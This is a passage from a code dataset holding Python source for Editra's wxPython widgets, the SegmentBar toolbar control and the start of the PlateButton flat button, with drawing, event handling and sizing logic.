bmp))\n Label = property(lambda self: self._lbl,\n lambda self, label: setattr(self, '_lbl', label))\n LabelSize = property(lambda self: self._lbl_size,\n lambda self, size: setattr(self, '_lbl_size', size))\n Rect = property(lambda self: self._rect,\n lambda self, rect: setattr(self, '_rect', rect))\n Selected = property(lambda self: self._selected,\n lambda self, sel: setattr(self, '_selected', sel))\n XState = property(lambda self: self._x_state,\n lambda self, state: setattr(self, '_x_state', state))\n XButton = property(lambda self: self._x_button,\n lambda self, rect: setattr(self, '_x_button', rect))\n BX1 = property(lambda self: self._bx1,\n lambda self, x1: setattr(self, '_bx1', x1))\n BX2 = property(lambda self: self._bx2,\n lambda self, x2: setattr(self, '_bx2', x2))\n Options = property(lambda self: self._opts,\n lambda self, opt: setattr(self, '_opts', opt))\n\nclass SegmentBar(ControlBar):\n \"\"\"Simple toolbar like control that displays bitmaps and optionally\n labels below each bitmap. The bitmaps are turned into a toggle button\n where only one segment in the bar can be selected at one time.\n\n \"\"\"\n HPAD = 5\n VPAD = 3\n def __init__(self, parent, id=wx.ID_ANY,\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=CTRLBAR_STYLE_DEFAULT,\n name=SEGBAR_NAME_STR):\n super(SegmentBar, self).__init__(parent, id, pos, size, style, name)\n\n # Attributes\n self._buttons = list() # list of _SegmentButtons\n self._segsize = (0, 0)\n self._selected = -1\n self._scolor1 = AdjustColour(self._color, -20)\n self._scolor2 = AdjustColour(self._color2, -20)\n self._spen = wx.Pen(AdjustColour(self._pen.GetColour(), -25))\n self._x_clicked_before = False\n self._tip_timer = wx.Timer(self)\n\n if wx.Platform == '__WXMAC__':\n self.SetWindowVariant(wx.WINDOW_VARIANT_SMALL)\n\n # Event Handlers\n self.Bind(wx.EVT_ENTER_WINDOW, self.OnEnter)\n self.Bind(wx.EVT_ENTER_WINDOW, self.OnLeave)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n self.Bind(wx.EVT_MOTION, self.OnMouseMove)\n self.Bind(wx.EVT_TIMER, self.OnTipTimer, self._tip_timer)\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n self.Bind(wx.EVT_WINDOW_DESTROY, self.OnDestroy)\n\n def _RestartTimer(self):\n \"\"\"Reset the tip timer for showing tooltips when\n the segments have their labels hidden.\n\n \"\"\"\n if not (self._style & CTRLBAR_STYLE_LABELS):\n if self._tip_timer.IsRunning():\n self._tip_timer.Stop()\n self._tip_timer.Start(1000, True)\n\n def OnDestroy(self, evt):\n \"\"\"Cleanup on Destroy\"\"\"\n if evt.GetEventObject() is self:\n if self._tip_timer.IsRunning():\n self._tip_timer.Stop()\n evt.Skip()\n\n def AddSegment(self, id, bmp, label=u''):\n \"\"\"Add a segment to the bar\n @param id: button id\n @param bmp: wx.Bitmap\n @param label: string\n\n \"\"\"\n assert bmp.IsOk()\n lsize = self.GetTextExtent(label)\n segment = _SegmentButton(id, bmp, label, lsize)\n self._buttons.append(segment)\n self.InvalidateBestSize()\n self.Refresh()\n\n def DoDrawButton(self, dc, pos, bidx, selected=False, draw_label=False):\n \"\"\"Draw a button\n @param dc: DC to draw on\n @param xpos: X coordinate (horizontal mode) / Y coordinate (vertical mode)\n @param bidx: button dict\n @keyword selected: is this the selected button (bool)\n @keyword draw_label: draw the label (bool)\n return: int (next xpos)\n\n \"\"\"\n button = self._buttons[bidx]\n height = self.Rect.height\n bVertical = self.IsVerticalMode()\n\n # Draw the background of the button\n if not bVertical:\n rside = pos + self._segsize[0]\n brect = wx.Rect(pos, 0, rside - pos, height)\n else:\n rside = pos + self._segsize[1]\n brect = wx.Rect(0, pos, self.Rect.Width, rside - pos)\n\n button.Rect = brect\n if selected:\n self.DoPaintBackground(dc, brect, self._scolor1, self._scolor2)\n\n # Draw the bitmap\n bmp = button.Bitmap\n bsize = button.Bitmap.Size\n if not bVertical:\n bxpos = ((self._segsize[0] / 2) - (bsize.width / 2)) + pos\n bpos = (bxpos, SegmentBar.VPAD)\n else:\n bxpos = ((self._segsize[0] / 2) - (bsize.width / 2))\n bpos = (bxpos, pos + SegmentBar.VPAD)\n dc.DrawBitmap(bmp, bpos[0], bpos[1], bmp.Mask != None)\n\n if draw_label:\n lcolor = wx.SystemSettings.GetColour(wx.SYS_COLOUR_WINDOWTEXT)\n dc.SetTextForeground(lcolor)\n twidth, theight = button.LabelSize\n if not bVertical:\n lxpos = pos\n typos = height - theight - 2\n else:\n lxpos = 0\n typos = pos + (self._segsize[1] - theight - 2)\n trect = wx.Rect(lxpos, typos, self._segsize[0], theight + 3)\n dc.DrawLabel(button.Label, trect, wx.ALIGN_CENTER)\n\n if not selected:\n if not (self._style & CTRLBAR_STYLE_NO_DIVIDERS):\n dc.SetPen(self._pen)\n if not bVertical:\n dc.DrawLine(pos, 0, pos, height)\n dc.DrawLine(rside, 0, rside, height)\n else:\n dc.DrawLine(0, pos, self.Rect.Width, pos)\n dc.DrawLine(0, rside, self.Rect.Width, rside)\n else:\n dc.SetPen(self._spen)\n tmpx = pos + 1\n trside = rside - 1\n if not bVertical:\n dc.DrawLine(tmpx, 0, tmpx, height)\n dc.DrawLine(trside, 0, trside, height)\n else:\n dc.DrawLine(0, tmpx, self.Rect.Width, tmpx)\n dc.DrawLine(0, trside, self.Rect.Width, trside)\n\n tpen = wx.Pen(self._spen.Colour)\n tpen.SetJoin(wx.JOIN_BEVEL)\n if not bVertical:\n mpoint = height / 2\n dc.DrawLine(tmpx + 1, mpoint, tmpx, 0)\n dc.DrawLine(tmpx + 1, mpoint, tmpx, height)\n dc.DrawLine(trside - 1, mpoint, trside, 0)\n dc.DrawLine(trside - 1, mpoint, trside, height)\n else:\n mpoint = self.Rect.Width / 2\n dc.DrawLine(mpoint, tmpx + 1, 0, tmpx)\n dc.DrawLine(mpoint, tmpx + 1, self.Rect.Width, tmpx)\n dc.DrawLine(mpoint, trside - 1, 0, trside)\n dc.DrawLine(mpoint, trside - 1, self.Rect.Width, trside)\n\n # Update derived button data\n button.BX1 = pos + 1\n button.BX2 = rside - 1\n button.Selected = selected\n\n # Draw delete button if button has one\n if self.SegmentHasCloseButton(bidx):\n if not bVertical:\n brect = wx.Rect(button.BX1, 0, button.BX2 - (pos - 1), height)\n else:\n brect = wx.Rect(0, button.BX1, self.Rect.Width, \n button.BX2 - (pos - 1))\n self.DoDrawCloseBtn(dc, button, brect)\n return rside # right/bottom of button just drawn\n\n def DoDrawCloseBtn(self, gcdc, button, rect):\n \"\"\"Draw the close button on the segment\n @param gcdc: Device Context\n @param button: Segment Dict\n @param rect: Segment Rect\n\n \"\"\"\n if button.Options & SEGBTN_OPT_CLOSEBTNL:\n x = rect.x + 8\n y = rect.y + 6\n else:\n x = (rect.x + rect.Width) - 8\n y = rect.y + 6\n\n color = self._scolor2\n if button.Selected:\n color = AdjustColour(color, -25)\n\n if button.XState == SEGMENT_STATE_X:\n color = AdjustColour(color, -20)\n\n gcdc.SetPen(wx.Pen(AdjustColour(color, -30)))\n\n brect = wx.Rect(x-3, y-3, 8, 8)\n bmp = DrawCircleCloseBmp(color, wx.WHITE)\n gcdc.DrawBitmap(bmp, brect.x, brect.y)\n button.XButton = brect\n return\n \n # Square style button\n# gcdc.DrawRectangleRect(brect)\n# gcdc.SetPen(wx.BLACK_PEN)\n# gcdc.DrawLine(brect.x+1, brect.y+1,\n# brect.x + brect.GetWidth() - 1, brect.y + brect.GetHeight() - 1)\n# gcdc.DrawLine(brect.x + brect.GetWidth() - 1, brect.y + 1,\n# brect.x + 1, brect.y + brect.GetHeight() - 1)\n# gcdc.SetBrush(brush)\n# gcdc.SetPen(pen)\n# button['xbtn'] = brect\n\n def DoGetBestSize(self):\n \"\"\"Get the best size for the control\"\"\"\n mwidth, mheight = 0, 0\n draw_label = self._style & CTRLBAR_STYLE_LABELS\n for btn in self._buttons:\n bwidth, bheight = btn.Bitmap.Size\n twidth = btn.LabelSize[0]\n if bheight > mheight:\n mheight = bheight\n\n if bwidth > mwidth:\n mwidth = bwidth\n\n if draw_label:\n if twidth > mwidth:\n mwidth = twidth\n\n # Adjust for label text\n if draw_label and len(self._buttons):\n mheight += self._buttons[0].LabelSize[1]\n\n if self.IsVerticalMode():\n height = (mheight + (SegmentBar.VPAD * 2) * len(self._buttons))\n width = mwidth\n else:\n width = (mwidth + (SegmentBar.HPAD * 2)) * len(self._buttons)\n height = mheight\n\n size = wx.Size(width + (SegmentBar.HPAD * 2),\n height + (SegmentBar.VPAD * 2))\n self.CacheBestSize(size)\n self._segsize = (mwidth + (SegmentBar.HPAD * 2),\n mheight + (SegmentBar.VPAD * 2))\n return size\n\n def GetIndexFromPosition(self, pos):\n \"\"\"Get the segment index closest to the given position\"\"\"\n if not self.IsVerticalMode():\n cur_x = pos[0]\n else:\n cur_x = pos[1]\n for idx, button in enumerate(self._buttons):\n xpos = button.BX1\n xpos2 = button.BX2\n if cur_x >= xpos and cur_x <= xpos2 + 1:\n return idx\n else:\n return wx.NOT_FOUND\n\n def GetSegmentCount(self):\n \"\"\"Get the number segments in the control\n @return: int\n\n \"\"\"\n return len(self._buttons)\n\n def GetSegmentLabel(self, index):\n \"\"\"Get the label of the given segment\n @param index: segment index\n @return: string\n\n \"\"\"\n return self._buttons[index].Label\n\n def GetSelection(self):\n \"\"\"Get the currently selected index\"\"\"\n return self._selected\n\n def HitTest(self, pos):\n \"\"\"Find where the position is in the window\n @param pos: (x, y) in client cords\n @return: int\n\n \"\"\"\n index = self.GetIndexFromPosition(pos)\n where = SEGMENT_HT_NOWHERE\n if index != wx.NOT_FOUND:\n button = self._buttons[index]\n if self.SegmentHasCloseButton(index):\n brect = button.XButton\n trect = wx.Rect(brect.x, brect.y, brect.Width+4, brect.Height+4)\n if trect.Contains(pos):\n where = SEGMENT_HT_X_BTN\n else:\n where = SEGMENT_HT_SEG\n else:\n where = SEGMENT_HT_SEG\n\n return where, index\n\n def OnEraseBackground(self, evt):\n \"\"\"Handle the erase background event\"\"\"\n pass\n\n def OnLeftDown(self, evt):\n \"\"\"Handle clicks on the bar\n @param evt: wx.MouseEvent\n\n \"\"\"\n epos = evt.GetPosition()\n index = self.GetIndexFromPosition(epos)\n if index != wx.NOT_FOUND:\n button = self._buttons[index]\n pre = self._selected\n self._selected = index\n\n if self._selected != pre:\n self.Refresh()\n sevt = SegmentBarEvent(edEVT_SEGMENT_SELECTED, button.Id)\n sevt.SetSelections(pre, index)\n sevt.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(sevt)\n\n self._x_clicked_before = False\n\n # Check for click on close btn\n if self.SegmentHasCloseButton(index):\n if self.HitTest(epos)[0] == SEGMENT_HT_X_BTN:\n self._x_clicked_before = True\n\n evt.Skip()\n\n def OnLeftUp(self, evt):\n \"\"\"Handle clicks on the bar\n @param evt: wx.MouseEvent\n\n \"\"\"\n epos = evt.GetPosition()\n where, index = self.HitTest(epos)\n\n # Check for click on close btn\n if self.SegmentHasCloseButton(index) and self._x_clicked_before:\n if where == SEGMENT_HT_X_BTN:\n event = SegmentBarEvent(edEVT_SEGMENT_CLOSE, self.GetId())\n event.SetSelections(index, index)\n event.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(event)\n if not event.IsAllowed():\n return False\n removed = self.RemoveSegment(index)\n\n evt.Skip()\n\n def OnEnter(self, evt):\n \"\"\"Mouse has entered the SegmentBar, update state info\"\"\"\n evt.Skip()\n\n def OnLeave(self, evt):\n \"\"\"Mouse has left the SegmentBar, update state info\"\"\"\n if self._tip_timer.IsRunning():\n self._tip_timer.Stop()\n evt.Skip()\n\n def OnMouseMove(self, evt):\n \"\"\"Handle when the mouse moves over the bar\"\"\"\n epos = evt.GetPosition()\n where, index = self.HitTest(epos)\n if index == -1:\n return\n if not self.SegmentHasCloseButton(index):\n self._RestartTimer()\n return\n\n # Update button state\n button = self._buttons[index]\n x_state = button.XState\n button.XState = SEGMENT_STATE_NONE\n\n if where != SEGMENT_HT_NOWHERE:\n if where == SEGMENT_HT_X_BTN:\n button.XState = SEGMENT_STATE_X\n elif where == SEGMENT_HT_SEG:\n # TODO: add highlight option for hover on segment\n pass\n else:\n self._RestartTimer()\n evt.Skip()\n return\n\n # If the hover state over a segments close button\n # has changed redraw the close button to reflect the\n # proper state.\n if button.XState != x_state:\n crect = self.GetClientRect()\n if not self.IsVerticalMode():\n brect = wx.Rect(button.BX1, 0,\n button.BX2 - (button.BX1 - 2),\n crect.Height)\n else:\n brect = wx.Rect(button.BX1, 0,\n crect.Width,\n button.BX2 - (button.BX1 - 2))\n self.Refresh(False, brect)\n self._RestartTimer()\n evt.Skip()\n\n def OnTipTimer(self, evt):\n \"\"\"Show the tooltip for the current SegmentButton\"\"\"\n pos = self.ScreenToClient(wx.GetMousePosition())\n where, index = self.HitTest(pos)\n if index != -1:\n button = self._buttons[index]\n if button.Label:\n rect = button.Rect\n x,y = self.ClientToScreenXY(rect.x, rect.y)\n rect.x = x\n rect.y = y\n wx.TipWindow(self, button.Label, rectBound=rect) # Transient\n\n def OnPaint(self, evt):\n \"\"\"Paint the control\"\"\"\n dc = wx.AutoBufferedPaintDCFactory(self)\n gc = wx.GCDC(dc)\n\n # Setup\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n gc.SetBrush(wx.TRANSPARENT_BRUSH)\n gc.SetFont(self.GetFont())\n gc.SetBackgroundMode(wx.TRANSPARENT)\n gc.Clear()\n\n # Paint the background\n rect = self.GetClientRect()\n self.DoPaintBackground(gc, rect, self._color, self._color2)\n\n # Draw the buttons\n # TODO: would be more efficient to just redraw the buttons that\n # need redrawing.\n npos = SegmentBar.HPAD\n if self.IsVerticalMode():\n npos = SegmentBar.VPAD\n use_labels = self._style & CTRLBAR_STYLE_LABELS\n for idx, button in enumerate(self._buttons):\n npos = self.DoDrawButton(gc, npos, idx,\n self._selected == idx,\n use_labels)\n\n def RemoveSegment(self, index):\n \"\"\"Remove a segment from the bar\n @param index: int\n @return: bool\n\n \"\"\"\n button = self._buttons[index]\n\n # TODO: wxPython 2.8.9.2 this causes a crash...\n# if button['bmp']:\n# button['bmp'].Destroy()\n del self._buttons[index]\n\n if self.GetSelection() == index:\n count = self.GetSegmentCount()\n if index >= count:\n self.SetSelection(count-1)\n\n self.Refresh()\n return True\n\n def SegmentHasCloseButton(self, index):\n \"\"\"Does the segment at index have a close button\n @param index: int\n\n \"\"\"\n button = self._buttons[index]\n if button.Options & SEGBTN_OPT_CLOSEBTNL or \\\n button.Options & SEGBTN_OPT_CLOSEBTNR:\n return True\n return False\n\n def SetSegmentImage(self, index, bmp):\n \"\"\"Set the image to use on the given segment\n @param index: int\n @param bmp: Bitmap\n\n \"\"\"\n assert bmp.IsOk()\n segment = self._buttons[index]\n if segment.Bitmap.IsOk():\n segment.Bitmap.Destroy()\n segment.Bitmap = None\n segment.Bitmap = bmp\n self.InvalidateBestSize()\n self.Refresh()\n\n def SetSegmentLabel(self, index, label):\n \"\"\"Set the label for a given segment\n @param index: segment index\n @param label: string\n\n \"\"\"\n segment = self._buttons[index]\n lsize = self.GetTextExtent(label)\n segment.Label = label\n segment.LabelSize = lsize\n self.InvalidateBestSize()\n self.Refresh()\n\n def SetSegmentOption(self, index, option):\n \"\"\"Set an option on a given segment\n @param index: segment index\n @param option: option to set\n\n \"\"\"\n button = self._buttons[index]\n button.Options = button.Options|option\n self.Refresh()\n\n def SetSelection(self, index):\n \"\"\"Set the selection\n @param index: int\n\n \"\"\"\n self._selected = index\n self.Refresh()\n\n# Cleanup namespace\n#del SegmentBar.__dict__['AddControl']\n#del SegmentBar.__dict__['AddSpacer']\n#del SegmentBar.__dict__['AddTool']\n#del SegmentBar.__dict__['SetToolSpacing']\n#del SegmentBar.__dict__['SetVMargin']\n\n#--------------------------------------------------------------------------#\n", "id": "1748440", "language": "Python", "matching_score": 6.498293399810791, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/eclib/ctrlbox.py" }, { "content": "###############################################################################\n# Name: platebtn.py #\n# Purpose: PlateButton is a flat label button with support for bitmaps and #\n# drop menu. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Control Library: PlateButton\n\nThe PlateButton is a custom owner drawn flat button, that in many ways emulates\nthe buttons found the bookmark bar of the Safari browser. It can be used as a \ndrop in replacement for wx.Button/wx.BitmapButton under most circumstances. It \nalso offers a wide range of options for customizing its appearance, a \ndescription of each of the main style settings is listed below.\n\nMain Button Styles:\nAny combination of the following values may be passed to the constructor's style\nkeyword parameter.\n\nPB_STYLE_DEFAULT:\nCreates a flat label button with rounded corners, the highlight for mouse over\nand press states is based off of the hightlight color from the systems current\ntheme.\n\nPB_STYLE_GRADIENT:\nThe highlight and press states are drawn with gradient using the current\nhighlight color.\n\nPB_STYLE_SQUARE:\nInstead of the default rounded shape use a rectangular shaped button with\nsquare edges.\n\nPB_STYLE_NOBG:\nThis style only has an effect on Windows but does not cause harm to use on the\nplatforms. It should only be used when the control is shown on a panel or other\nwindow that has a non solid color for a background. i.e a gradient or image is\npainted on the background of the parent window. If used on a background with\na solid color it may cause the control to loose its transparent appearance.\n\nPB_STYLE_DROPARROW:\nAdd a drop button arrow to the button that will send a separate event when\nclicked on.\n\nOther attributes can be configured after the control has been created. The\nsettings that are currently available are as follows:\n\n - SetBitmap: Change/Add the bitmap at any time and the control will resize and\n refresh to display it.\n - SetLabelColor: Explicitly set text colors\n - SetMenu: Set the button to have a popupmenu. When a menu is set a small drop\n arrow will be drawn on the button that can then be clicked to show\n a menu.\n - SetPressColor: Use a custom highlight color\n\n\nOverridden Methods Inherited from PyControl:\n\n - SetFont: Changing the font is one way to set the size of the button, by\n default the control will inherit its font from its parent.\n\n - SetWindowVariant: Setting the window variant will cause the control to\n resize to the corresponding variant size. However if the\n button is using a bitmap the bitmap will remain unchanged\n and only the font will be adjusted.\n\nRequirements:\n - python2.4 or higher\n - wxPython2.8 or higher\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: platebtn.py 63348 2010-02-01 22:01:17Z CJP $\"\n__revision__ = \"$Revision: 63348 $\"\n\n__all__ = [\"PlateButton\",\n \"PLATE_NORMAL\", \"PLATE_PRESSED\", \"PLATE_HIGHLIGHT\", \n\n \"PB_STYLE_DEFAULT\", \"PB_STYLE_GRADIENT\", \"PB_STYLE_SQUARE\",\n \"PB_STYLE_NOBG\", \"PB_STYLE_DROPARROW\", \"PB_STYLE_TOGGLE\",\n\n \"EVT_PLATEBTN_DROPARROW_PRESSED\"]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\nimport wx.lib.newevent\n\n# Used on OSX to get access to carbon api constants\nif wx.Platform == '__WXMAC__':\n import Carbon.Appearance\n\n#-----------------------------------------------------------------------------#\n# Button States\nPLATE_NORMAL = 0\nPLATE_PRESSED = 1\nPLATE_HIGHLIGHT = 2\n\n# Button Styles\nPB_STYLE_DEFAULT = 1 # Normal Flat Background\nPB_STYLE_GRADIENT = 2 # Gradient Filled Background\nPB_STYLE_SQUARE = 4 # Use square corners instead of rounded\nPB_STYLE_NOBG = 8 # Usefull on Windows to get a transparent appearance\n # when the control is shown on a non solid background\nPB_STYLE_DROPARROW = 16 # Draw drop arrow and fire EVT_PLATEBTN_DROPRROW_PRESSED event\nPB_STYLE_TOGGLE = 32 # Stay pressed untill clicked again\n\n#-----------------------------------------------------------------------------#\n\n# EVT_BUTTON used for normal event notification\n# EVT_TOGGLE_BUTTON used for toggle button mode notification\nPlateBtnDropArrowPressed, EVT_PLATEBTN_DROPARROW_PRESSED = wx.lib.newevent.NewEvent()\n\n#-----------------------------------------------------------------------------#\n# Utility Functions, moved to their own module\n\nfrom wx.lib.colourutils import *\n\n#-----------------------------------------------------------------------------#\n\nclass PlateButton(wx.PyControl):\n \"\"\"PlateButton is a custom type of flat button with support for\n displaying bitmaps and having an attached dropdown menu.\n\n \"\"\"\n def __init__(self, parent, id_=wx.ID_ANY, label='', bmp=None, \n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=PB_STYLE_DEFAULT, name=wx.ButtonNameStr):\n \"\"\"Create a PlateButton\n @keyword label: Buttons label text\n @keyword bmp: Buttons bitmap\n @keyword style: Button style\n\n \"\"\"\n wx.PyControl.__init__(self, parent, id_, pos, size,\n wx.BORDER_NONE|wx.TRANSPARENT_WINDOW, name=name)\n\n # Attributes\n self.InheritAttributes()\n self._bmp = dict(enable=bmp)\n if bmp is not None:\n img = bmp.ConvertToImage()\n img = img.ConvertToGreyscale(.795, .073, .026) #(.634, .224, .143)\n self._bmp['disable'] = img.ConvertToBitmap()\n else:\n self._bmp['disable'] = None\n\n self._menu = None\n self.SetLabel(label)\n self._style = style\n self._state = dict(pre=PLATE_NORMAL, cur=PLATE_NORMAL)\n self._color = self.__InitColors()\n self._pressed = False\n\n # Setup Initial Size\n self.SetInitialSize()\n\n # Event Handlers\n self.Bind(wx.EVT_PAINT, lambda evt: self.__DrawButton())\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnErase)\n self.Bind(wx.EVT_SET_FOCUS, self.OnFocus)\n self.Bind(wx.EVT_KILL_FOCUS, self.OnKillFocus)\n\n # Mouse Events\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n self.Bind(wx.EVT_LEFT_DCLICK, lambda evt: self.ToggleState())\n self.Bind(wx.EVT_ENTER_WINDOW,\n lambda evt: self.SetState(PLATE_HIGHLIGHT))\n self.Bind(wx.EVT_LEAVE_WINDOW,\n lambda evt: wx.CallLater(80, self.__LeaveWindow))\n\n # Other events\n self.Bind(wx.EVT_KEY_UP, self.OnKeyUp)\n self.Bind(wx.EVT_CONTEXT_MENU, lambda evt: self.ShowMenu())\n\n def __DrawBitmap(self, gc):\n \"\"\"Draw the bitmap if one has been set\n @param gc: GCDC to draw with\n @return: x cordinate to draw text at\n\n \"\"\"\n if self.IsEnabled():\n bmp = self._bmp['enable']\n else:\n bmp = self._bmp['disable']\n\n if bmp is not None and bmp.IsOk():\n bw, bh = bmp.GetSize()\n ypos = (self.GetSize()[1] - bh) / 2\n gc.DrawBitmap(bmp, 6, ypos, bmp.GetMask() != None)\n return bw + 6\n else:\n return 6\n\n def __DrawDropArrow(self, gc, xpos, ypos):\n \"\"\"Draw a drop arrow if needed and restore pen/brush after finished\n @param gc: GCDC to draw with\n @param xpos: x cord to start at\n @param ypos: y cord to start at\n\n \"\"\"\n if self._menu is not None or self._style & PB_STYLE_DROPARROW:\n # Positioning needs a little help on Windows\n if wx.Platform == '__WXMSW__':\n xpos -= 2\n tripoints = [(xpos, ypos), (xpos + 6, ypos), (xpos + 3, ypos + 5)]\n brush_b = gc.GetBrush()\n pen_b = gc.GetPen()\n gc.SetPen(wx.TRANSPARENT_PEN)\n gc.SetBrush(wx.Brush(gc.GetTextForeground()))\n gc.DrawPolygon(tripoints)\n gc.SetBrush(brush_b)\n gc.SetPen(pen_b)\n else:\n pass\n\n def __DrawHighlight(self, gc, width, height):\n \"\"\"Draw the main highlight/pressed state\n @param gc: GCDC to draw with\n @param width: width of highlight\n @param height: height of highlight\n\n \"\"\"\n if self._state['cur'] == PLATE_PRESSED:\n color = self._color['press']\n else:\n color = self._color['hlight']\n\n if self._style & PB_STYLE_SQUARE:\n rad = 0\n else:\n rad = (height - 3) / 2\n\n if self._style & PB_STYLE_GRADIENT:\n gc.SetBrush(wx.TRANSPARENT_BRUSH)\n rgc = gc.GetGraphicsContext()\n brush = rgc.CreateLinearGradientBrush(0, 1, 0, height,\n color, AdjustAlpha(color, 55))\n rgc.SetBrush(brush)\n else:\n gc.SetBrush(wx.Brush(color))\n\n gc.DrawRoundedRectangle(1, 1, width - 2, height - 2, rad)\n\n def __PostEvent(self):\n \"\"\"Post a button event to parent of this control\"\"\"\n if self._style & PB_STYLE_TOGGLE:\n etype = wx.wxEVT_COMMAND_TOGGLEBUTTON_CLICKED\n else:\n etype = wx.wxEVT_COMMAND_BUTTON_CLICKED\n bevt = wx.CommandEvent(etype, self.GetId())\n bevt.SetEventObject(self)\n bevt.SetString(self.GetLabel())\n self.GetEventHandler().ProcessEvent(bevt)\n\n def __DrawButton(self):\n \"\"\"Draw the button\"\"\"\n # TODO using a buffered paintdc on windows with the nobg style\n # causes lots of weird drawing. So currently the use of a\n # buffered dc is dissabled for this style.\n if PB_STYLE_NOBG & self._style:\n dc = wx.PaintDC(self)\n else:\n dc = wx.AutoBufferedPaintDCFactory(self)\n\n gc = wx.GCDC(dc)\n\n # Setup\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n gc.SetBrush(wx.TRANSPARENT_BRUSH)\n gc.SetFont(self.GetFont())\n gc.SetBackgroundMode(wx.TRANSPARENT)\n\n # The background needs some help to look transparent on\n # on Gtk and Windows\n if wx.Platform in ['__WXGTK__', '__WXMSW__']:\n gc.SetBackground(self.GetBackgroundBrush(gc))\n gc.Clear()\n\n # Calc Object Positions\n width, height = self.GetSize()\n tw, th = gc.GetTextExtent(self.GetLabel())\n txt_y = max((height - th) / 2, 1)\n\n if self._state['cur'] == PLATE_HIGHLIGHT:\n gc.SetTextForeground(self._color['htxt'])\n gc.SetPen(wx.TRANSPARENT_PEN)\n self.__DrawHighlight(gc, width, height)\n\n elif self._state['cur'] == PLATE_PRESSED:\n gc.SetTextForeground(self._color['htxt'])\n if wx.Platform == '__WXMAC__':\n pen = wx.Pen(GetHighlightColour(), 1, wx.SOLID)\n else:\n pen = wx.Pen(AdjustColour(self._color['press'], -80, 220), 1)\n gc.SetPen(pen)\n\n self.__DrawHighlight(gc, width, height)\n txt_x = self.__DrawBitmap(gc)\n gc.DrawText(self.GetLabel(), txt_x + 2, txt_y)\n self.__DrawDropArrow(gc, txt_x + tw + 6, (height / 2) - 2)\n\n else:\n if self.IsEnabled():\n gc.SetTextForeground(self.GetForegroundColour())\n else:\n txt_c = wx.SystemSettings.GetColour(wx.SYS_COLOUR_GRAYTEXT)\n gc.SetTextForeground(txt_c)\n\n # Draw bitmap and text\n if self._state['cur'] != PLATE_PRESSED:\n txt_x = self.__DrawBitmap(gc)\n gc.DrawText(self.GetLabel(), txt_x + 2, txt_y)\n self.__DrawDropArrow(gc, txt_x + tw + 6, (height / 2) - 2)\n\n def __InitColors(self):\n \"\"\"Initialize the default colors\"\"\"\n color = GetHighlightColour()\n pcolor = AdjustColour(color, -12)\n colors = dict(default=True,\n hlight=color, \n press=pcolor,\n htxt=BestLabelColour(self.GetForegroundColour()))\n return colors\n\n def __LeaveWindow(self):\n \"\"\"Handle updating the buttons state when the mouse cursor leaves\"\"\"\n if (self._style & PB_STYLE_TOGGLE) and self._pressed:\n self.SetState(PLATE_PRESSED) \n else:\n self.SetState(PLATE_NORMAL)\n\n #---- End Private Member Function ----#\n\n #---- Public Member Functions ----#\n def AcceptsFocus(self):\n \"\"\"Can this window have the focus?\"\"\"\n return self.IsEnabled()\n\n @property\n def BitmapDisabled(self):\n \"\"\"Property for accessing the bitmap for the disabled state\"\"\"\n return self._bmp['disable']\n\n @property\n def BitmapLabel(self):\n \"\"\"Property for accessing the default bitmap\"\"\"\n return self._bmp['enable']\n\n # Aliases\n BitmapFocus = BitmapLabel\n BitmapHover = BitmapLabel\n BitmapSelected = BitmapLabel\n\n def Disable(self):\n \"\"\"Disable the control\"\"\"\n super(PlateButton, self).Disable()\n self.Refresh()\n\n def DoGetBestSize(self):\n \"\"\"Calculate the best size of the button\n @return: wx.Size\n\n \"\"\"\n width = 4\n height = 6\n if self.GetLabel():\n lsize = self.GetTextExtent(self.GetLabel())\n width += lsize[0]\n height += lsize[1]\n \n if self._bmp['enable'] is not None:\n bsize = self._bmp['enable'].GetSize()\n width += (bsize[0] + 10)\n if height <= bsize[1]:\n height = bsize[1] + 6\n else:\n height += 3\n else:\n width += 10\n\n if self._menu is not None or self._style & PB_STYLE_DROPARROW:\n width += 12\n\n best = wx.Size(width, height)\n self.CacheBestSize(best)\n return best\n\n def Enable(self, enable=True):\n \"\"\"Enable/Disable the control\"\"\"\n super(PlateButton, self).Enable(enable)\n self.Refresh()\n\n def GetBackgroundBrush(self, dc):\n \"\"\"Get the brush for drawing the background of the button\n @return: wx.Brush\n @note: used internally when on gtk\n\n \"\"\"\n if wx.Platform == '__WXMAC__' or self._style & PB_STYLE_NOBG:\n return wx.TRANSPARENT_BRUSH\n\n bkgrd = self.GetBackgroundColour()\n brush = wx.Brush(bkgrd, wx.SOLID)\n my_attr = self.GetDefaultAttributes()\n p_attr = self.GetParent().GetDefaultAttributes()\n my_def = bkgrd == my_attr.colBg\n p_def = self.GetParent().GetBackgroundColour() == p_attr.colBg\n if my_def and not p_def:\n bkgrd = self.GetParent().GetBackgroundColour()\n brush = wx.Brush(bkgrd, wx.SOLID)\n return brush\n\n def GetBitmapDisabled(self):\n \"\"\"Get the bitmap of the disable state\n @return: wx.Bitmap or None\n\n \"\"\"\n return self._bmp['disable']\n\n def GetBitmapLabel(self):\n \"\"\"Get the label bitmap\n @return: wx.Bitmap or None\n\n \"\"\"\n return self._bmp['enable']\n\n # GetBitmap Aliases for BitmapButton api\n GetBitmapFocus = GetBitmapLabel\n GetBitmapHover = GetBitmapLabel\n \n # Alias for GetLabel\n GetLabelText = wx.PyControl.GetLabel\n\n def GetMenu(self):\n \"\"\"Return the menu associated with this button or None if no\n menu is associated with it.\n\n \"\"\"\n return getattr(self, '_menu', None)\n\n def GetState(self):\n \"\"\"Get the current state of the button\n @return: int\n @see: PLATE_NORMAL, 